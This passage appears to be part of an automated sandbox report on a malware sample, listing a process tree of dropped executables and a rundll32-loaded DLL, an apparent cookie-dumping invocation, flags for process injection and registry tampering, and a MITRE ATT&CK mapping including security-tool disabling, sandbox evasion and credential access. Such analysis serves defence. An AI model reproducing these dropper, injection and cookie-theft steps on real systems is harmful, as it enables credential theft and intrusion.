C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
6⤵
- Executes dropped EXE
PID:4440

C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
6⤵
PID:4752

C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
6⤵
PID:4828

\??\c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s BITS
1⤵
- Suspicious use of SetThreadContext
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4012

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k SystemNetworkService
2⤵
- Drops file in System32 directory
- Checks processor information in registry
- Modifies data under HKEY_USERS
- Modifies registry class
PID:1296

C:\Windows\system32\rUNdlL32.eXe
rUNdlL32.eXe "C:\Users\Admin\AppData\Local\Temp\axhub.dll",main
1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:208

C:\Windows\SysWOW64\rundll32.exe
rUNdlL32.eXe "C:\Users\Admin\AppData\Local\Temp\axhub.dll",main
2⤵
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1136

C:\Windows\system32\rUNdlL32.eXe
rUNdlL32.eXe "C:\Users\Admin\AppData\Local\Temp\axhub.dll",main
1⤵
- Process spawned unexpected child process
PID:5236

C:\Windows\SysWOW64\rundll32.exe
rUNdlL32.eXe "C:\Users\Admin\AppData\Local\Temp\axhub.dll",main
2⤵
- Loads dropped DLL
PID:5256

C:\Windows\explorer.exe
C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
1⤵
PID:5136

C:\Windows\system32\rUNdlL32.eXe
rUNdlL32.eXe "C:\Users\Admin\AppData\Local\Temp\axhub.dll",main
1⤵
- Process spawned unexpected child process
PID:5320

C:\Windows\SysWOW64\rundll32.exe
rUNdlL32.eXe "C:\Users\Admin\AppData\Local\Temp\axhub.dll",main
2⤵
- Loads dropped DLL
PID:5368

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 5368 -s 620
3⤵
- Program crash
PID:5420

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca
1⤵
- Drops file in Windows directory
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious use of SetWindowsHookEx
PID:4764

C:\Windows\system32\browser_broker.exe
C:\Windows\system32\browser_broker.exe -Embedding
1⤵
- Modifies Internet Explorer settings
PID:5612

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
- Modifies registry class
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
PID:5912

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
- Modifies Internet Explorer settings
- Modifies registry class
PID:3476

C:\Windows\servicing\TrustedInstaller.exe
C:\Windows\servicing\TrustedInstaller.exe
1⤵
PID:5176

\??\c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s seclogon
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
PID:3836

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
- Modifies registry class
PID:4712

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
- Modifies registry class
PID:4368

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
- Modifies registry class
PID:3560

C:\Users\Admin\AppData\Local\Temp\F429.exe
C:\Users\Admin\AppData\Local\Temp\F429.exe
1⤵
PID:1332

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Scheduled Task

T1053

Persistence

Modify Existing Service

T1031

Registry Run Keys / Startup Folder

T1060

Scheduled Task

T1053

Privilege Escalation

Scheduled Task

T1053

Defense Evasion

Modify Registry

Disabling Security Tools

T1089

Virtualization/Sandbox Evasion

T1497

Install Root Certificate

T1130

Credential Access

Credentials in Files

T1081

Discovery

Query Registry

Virtualization/Sandbox Evasion

T1497

System Information Discovery